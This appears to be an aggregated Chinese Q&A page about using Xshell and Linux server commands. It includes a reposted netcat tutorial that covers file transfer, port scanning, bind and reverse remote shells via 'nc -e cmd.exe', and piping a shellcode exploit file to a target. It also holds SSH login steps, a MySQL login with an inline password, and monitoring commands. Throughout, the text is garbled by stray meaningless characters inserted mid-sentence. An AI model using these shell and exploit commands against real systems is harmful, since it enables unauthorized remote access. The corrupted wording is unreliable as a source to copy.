A. xshell如何查看nc文件
发送端:cattest.txt | nc -l -p 6666或者nc -l -p 6666 < test.txt【监听6666端口,等待连接】(设发送端IP为10.20.133.152)接收端:nc 10.20.133.152 6666 > test1.txt如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt想要连接到某处: nc [-options] hostname port[s] [ports] ...绑定端口等待连接: nc -l -p port [-options] [hostname] [port]语法:nc [-hlnruz][-g][-G][-i][-o][-p][-s][-v...][-w][主机名称][通信端 口...]补充说明:执行本指令可设置路由器的相关参数。参数:-g 设置路由器跃程通信网关,最丢哦可设置8个。-G 设置来源路由指向器,其数值为4的倍数。-h 在线帮助。-i 设置时间间隔,以便传送信息及扫描通信端口。-l 使用监听模式,管控传入的资料。-n 直接使用IP地址,而不通过域名服务器。-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。-p 设置本地主机使用的通信端口。-r 乱数指定本地与远端主机的通信端口。-s 设置本地主机送出数据包的IP地址。-u 使用UDP传输协议。-v 显示指令执行过程。-w 设置等待连线的时间。-z 使用0输入/输出模式,只在扫描通信端口时使用。另外,nc命令也可用于端口扫描:nc -v -z -w2 10.20.133.152 1-14000可以扫描10.20.133.152主机上的1~14000号TCP端口;nc -u -v -z -w2 10.20.133.152 1-14000可以扫描10.20.133.152主机上的1~14000号UDP端口。
nc是一款很不错的网络检测工具,以下是详细使用。
'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用做御hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时纯帆岩
端口的表示方法可写为M-N的范围格式。
1)连接到远程主机
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听本地主机
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为轿野最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令""等等命令功能更强大......)。
6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
附:'c:\exploit.txt'为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>'
改为‘>>'即可以追加日志
附:'c:\log.txt'为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其管道中!
10)备份档案
A机的资料夹 /data备份到B主机的backup.tgz
源主机: tar czf - work|nc -l -c -p 1234
目的主机: nc 192.168.0.1 1234 >a.tgz
或
A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿
posted on 2010-10-28 10:03 flyonok 阅读(2176) 评论(0) 编辑 收藏 引用 所属分类: linux
B. 如何用Xshell 4来远程LINUX系统
1.安装好软件之后,点击xshell菜单栏下的新建会话框
2.选中新建会话框里面的连接,这时会出现一个主机的岁隐空格要输入进去。
3. 在终端的选项中,选择UTF8国际编码以避免管理中文显示滑雀缓乱码
3.接着就会出现会话窗口,选中点击连接后有一个是否保存会话设置,点击接受,输入用户名和密码即可。这边提醒大家一下,如果要保留会话建议设置勾选记住用户名和记住密码,下次直接点击就可以连接了。
如果用户名和密码都设置正确信模了就能连接到linux服务器了哈。
C. 如何用xshell远程linux服务器并进行操作
首先我们在自己的电脑中找到已安装的xshell并打开。
打开xshell后找到左上角第一个“文件”点击,弹出来一个下拉框,选择“新建”点击(或者直接按下快捷键“Alt+n”)。
点击“新建”之后就会出现下面这样改缓一个界面,“名称”根据自己的需求填写,“协议”就是默认的SSH,“主机”是这一步最关键的,一定要填写正确,否则无法登录,端口也是默认的22,其他不用填,填写完成之后先不要点确定,看下一步。
找到坐便菜单栏中的“用户身份验证”点击,点击之后会让你填写用户名和密码,其中“方法”默认“password”,“用户名”填写你的FTP用肆银户名,“密码”填写你的FTP密码,填写完成点击确定。
那这一步我们来登录我们刚才保存的账号,依次找到左上角“文件”-->“打开”,弹出如下界面,左下角有一个选项“启动时显示此对话框”,这个选项的意思是:每次打开xshell都直接跳出这个对话框,根据需求勾选,然后找到你想登录的服务器,点击“连接”即可。
连接之后出现如下界面中的[root@******]样式的,就证明连接成功裂歼宴了。
D. Xshell怎么连接数据库
连接步骤如下:
1,首先运行Xshell客户端,没有安装的同学,请下载后安装,
2,然后连接远程服务器,建立连接以后在命令行输入框中输入数据库的连接口令如:mysql -h 192.168.10.100 -u ju70_sql -pwju70_sql
3,这个连接口令包含了源谈,数据库的host,数据库用户名,以及密码,输入后点击回车,就表示连接成功了,
4,接着输入“use 数据库名雹漏碰称”的方式,告诉后台我要使用这个数据库,输入后回车,
5,就可以使用正常的sql语句直接在Xshell中执行就可以查询得到我搜启们想要的数据。
E. Linux服务器如何查看CPU占用率、内存占用、带宽占用
Linux服务器如何查看CPU占用率、内存占用、带宽占用的命令
图中红色部分即为占用百分率,下面是每个进程的CPU占用率,如果服务器是多核CPU可能在下方看到有些进程CPU占用超过100%,这种一般是该进程使用了多核。
内存占用率:free -m
图中红色部分即为占用,即used、free即为剩余。(注意中在第二行数字中找哦。)
带宽占用:
使用vmstat命令,输入命令:vmstat
linux服务器的相关信息查看(端口占用,cpu、内存族稿码占用,防火墙,系统信息,vim编辑器使用等)
一、端口占用情况
(1)查看所兆哪有端口、进程的使用情况: netstat -tunlp
(2)查看某一端口的使用情况: netstat -tunlp|grep 5560
二、查看内存使用情况
(1)查看占用情况(动态):top
按下P(大写)可以找到占用内存最大的进程
(2)查看占用情况(总的):free
(3)查看占用内存最多的N个进程: ps -aux | sort -k4nr | head -K如果是10个进程,K=10,如果是最高的三个,K=3
(4)查看敬埋硬盘空间大小:df -lh
三、防火墙
防火墙iptables和firewall
(1)查看防火墙状态:firewall-cmd --state
(2)开启、关闭防火墙:开启:systemctl start firewalld关闭:systemctl stop firewalld.service 或者 service firewalld stop
(3)重启防火墙:firewall-cmd --reload(重新载入配置,在添加规则之后,需要执行此命令)
(4)防火墙是否开机启动:禁止防火墙开机启动:systemctl disable firewalld.service设置防火墙开机启动:systemctl enable firewalld.service
四、查看系统信息
(1)查看系统位数:getconf LONG_BIT
(2)查看内存信息:查看所有内存信息: cat /proc/meminfo查看内存容量: grep "MemTotal" /proc/meminfo
(3)查看CPU信息:查看cpu个数(几核):cat /proc/cpuinfo |grep "processor"|wc -l
五、linux中文乱码:
我只是用了第三部,更改了ssh客户端属性配置就可以了
1. 配置SSH 终端 (以xshell为例):
打开“文件”(File)- “属性” (Properties), 在“终端”(Terminal),将“编码”(Encoding)改为UTF-8 即可。
六、Xshell远程连接Linux时无法使用小键盘的解决方式:
七、linux中vi编辑器的退出操作
保存,但不退出vi :w
保存并退出vi :wq
退出vi,但不保存更改 :q!
用其他文件名保存 :w filename
在现有文件中保存并覆盖该文件 :w! filename
查找文字:在一般模式下输入/和你要查找的文字单词,例如/port,此时再按下 n 会跳转至改文字所在的下一处。
F. xshell连接linux
1、在电脑桌面或开始-所有程序中找到“Xshell”,这里以Xshell 4为例子,如下图找到Xshell 4的程序图标,芦败销双击打开这个程序。
G. xshell如何查看服务器cpu空间
linux系统中xshell工具查看硬盘、内存、CPU以及创建文件夹、复制、删除命令的使用 查裤绝看硬盘: [root@localhost /]# df -h 每一项的意思是: 文件系统 容量 已用 可用 已用%% 挂载点 此截图说明内存不足,根目录占用了百分百(在安装系统的时候把剩下的磁盘全部分为了根目录,在这里也就是50G)。home目录下的内存共860G,所有要将一些文件移动到home目录下。 查看内存用【free -m】或者【free】胡梁姿 [root@localhost /]# free -m 查看CPU个数【cat /proc/cpuinfo】 [root@localhost /]# cat /proc/渣厅cpuinfo 回车,看结果中的所有属性中属性名为processor的结果,若显示processor:3,则说明cp
查看更多
H. 如何用XShell连接远程Linux服务器
我们平时操作远程Linux服务器的时候经常需要悉搜XShell工具进行连接,那么如何操作呢?下面我雹陆配给大家演示一下。
XShell
首先我们打开XShell工具,点击顶部的打开选项,如下图源指所示
接下来会弹出一个会话界面,我们点击新建按钮,如下图所示
然后我们在Linux系统中用ifconfig命令查看一下系统的地址信息,如下图所示
接下来在新建会话界面中我们输入Linux的地址,端口,协议信息,如下图所示
点击确定以后我们添加的连接信息就自动加载到会话列表中了,我们选择刚才新建的会话,然后点击连接按钮,如下图所示
接下来会弹出一个是否接受秘钥的提示,我们点击接受并保存按钮,如下图所示
然后就会弹出让我们输入账号的界面,这个账号是linux系统的账号,默认都是root,如下图所示
接下来输入root对应的密码,如下图所示,当然如果你有Public Key也可以选择的
最后登录系统以后我们可以用ll命令查看一下当前的文件夹内容,看是否真正的进入了远程Linux系统,如下图所示